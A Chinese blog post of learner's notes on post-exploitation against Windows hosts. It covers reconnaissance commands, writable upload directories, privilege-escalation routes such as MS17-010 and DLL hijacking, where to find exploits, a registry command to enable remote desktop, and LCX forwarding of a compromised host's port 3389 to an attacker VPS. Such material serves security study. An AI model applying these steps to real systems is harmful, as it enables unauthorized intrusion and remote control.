记录内网渗透学习进程--DAY1

内网渗透学习记录  2021/4/13

 

一. WINDOWS提权

本地信息收集

当我们控制了一个webshell后,若是可执行命令的权限比较低,比如无法获取数据库信息等,则我们就需要提升权限,简称提权,提权之间我们必须先要做信息收集

 

首先假设自己获取了一个webshell,用菜刀进行连接

 

 

首先我们要做的就是使用命令  systeminfo 查看系统所打的补丁

 

 

使用命令 netstat -ano 查看开放端口

 

 

如果控制的系统比较缓慢,可以使用重定向 > 写入文件

 

接着使用命令 net start  可以查看本地是否有杀软

             Tasklist   可以查看本地进程,查看是否有杀软

 

如果以上命令还发现不了什么的话,可以去c:\progream files(x86).
c:\progream files 目录查看是否安装有防护程序

 dir /a c:\progream files(x86)

 

 

 

 

寻找当前所打补丁

wmic qfe get hotfixid

wmic qfe get Caption,Description,HotFixID,InstalledOn

 

 

 

有些时候webshell无法执行cmd,这个时候就需要我们传上去一个同版本的cmd去执行。

在此之前,就需要找到可读可写的目录

例如:

c:\windows\temp\

%temp%\

c:\recycler\

C:\windows\system32\spool\PRINTERS\
C:\WINDOWS\IIS Temporary Compressed Files\
C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\Temporary ASP.NET Files
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files
C:\Documents and Settings\NetworkService\Local Settings\Temp
C:\Documents and Settings\NetworkService\Local Settings\Temporary Internet Files
C:\Windwos\system32\inetsrv\data\

 

 

.常见提权手法

本地信息收集完成后,我们则就需要选择提权的手法

常见的方法有以下几种

 

①远程溢出(远程代码执⾏)

MS08067

MS17010 永恒之蓝

CVE-2017-7494 Samba远程代码执行漏洞

这几种方法是我们最快提权的方法,如果存在要第一时间利用

 

服务器⽂件存放密码

有一些文件可能会存放着密码,需要我们自己去找

 

③第三⽅⾼权限应⽤提权

比如数据库,如果数据库有很高的权限或者某些应用有对系统很高的权限,
就可以利用这些第三方应用来提权

如mysql FileZilla

 

④本地溢出

本地溢出攻击在UNIX比较常见,这是因为UNIX的内核是基于C语言的,在用C/C++编程的时候,由于没有进行边界检查而导致内存溢出,而使系统执行了用户定制的指令而使系统的安全性受到了危害

 

⑤系统的不当配置

例如apache + windows 默认是管理员权限

 

DLL劫持漏洞

DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运行必不可少的功能模块,是实现代码重用的具体形式。它是通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的一类漏洞的统称。利用DLL劫持漏洞,病毒木马可以随着文档的打开(或者其他一些程序正常行为)而激活自身,进而获得系统的控制权。

 

三.Exp寻找

Google Hacking

github                 https://github.com/SecWiki/windows-kernel-exploits 这里是个集合,最新的也有

③国内安全社区,如:T00lsquansec

④安全门户 www.freebuf.comwww.anquanke.com

msf  msf5 > search exploit/windows/local/   而且可以直接利用

 

 

四. 开始提权

本地溢出提权

首先根据版本找个提权exp,放入可读写的目录内

 

 

根据说明执行exe,成功提权

 

 

 

如果不行,就从最新的补丁到以前的补丁一直撸,成功为止

 

tips:①exe文件都是二进制文件,可以随便修改后缀名,一样可以去执行,系统可以自动识别

   ②aspx比asp权限要大

   ③找到可读可执行目录  1.利用脚本 2.利用大马

   ④各种木马可以去github找

 

 

 

五.端口转发

exp利用成功后后,如果我们想登录到目标或链接目标的某些端口(如端口1433,它们不能直接连接),可以将目标端口转发到公共网络。

转发: 转发是渗透中一种手段,是将一个网络端口从一个网络节点转发到另一个节点的行为。结果是使一个外网用户经过一个NAT路由器到达在内网IP地址某个端口。有时候也被称为隧道。

 

 

1.链接目标mysql

有时我们得到一个cmdshell,但目标不开放web服务,那么我们不能通过上传脚本连接mysql。此时,我们可以通过端口转发技术将对应于mysql(默认为3306)的端口转发到外部网络的vps上的一个端口,我们连接到vps的一个端口,然后我们就可以了

2.有时连接到目标远程桌面服务

目标服务器是在内部网,我们没有办法直接连接,但也转发端口,你可以连接,在实际过程中,各种需要你连接到其他端口,原理是一样的,相应的服务是不同的

 

常用工具

一个 VPS

转发工具:LCX  (比较常用)
               NATbypass (用go语言编写的工具,有免杀功能)

 

开启3389端口命令: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  好像只对03有效

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 这句话win7可以使用,但是不能直接运行,写个bat文件运行就好

 

LCX的使用(每个LCX工具的命令都不同,不过都大同小异)

首先现在VPS上监听端口(这里就用一台虚拟机当成VPS) 将8082端口转发给10000端口

接着用肉鸡上的lcx去连接

lcx.exe -slave 'VPS的IP 监听端口(8082)' 127.0.0.1 3389

 

然后mstsc 连接vps的ip+10000端口

 

成功连接

 

posted @ 2021-04-13 18:01  paku  阅读(249)  评论(0)    收藏  举报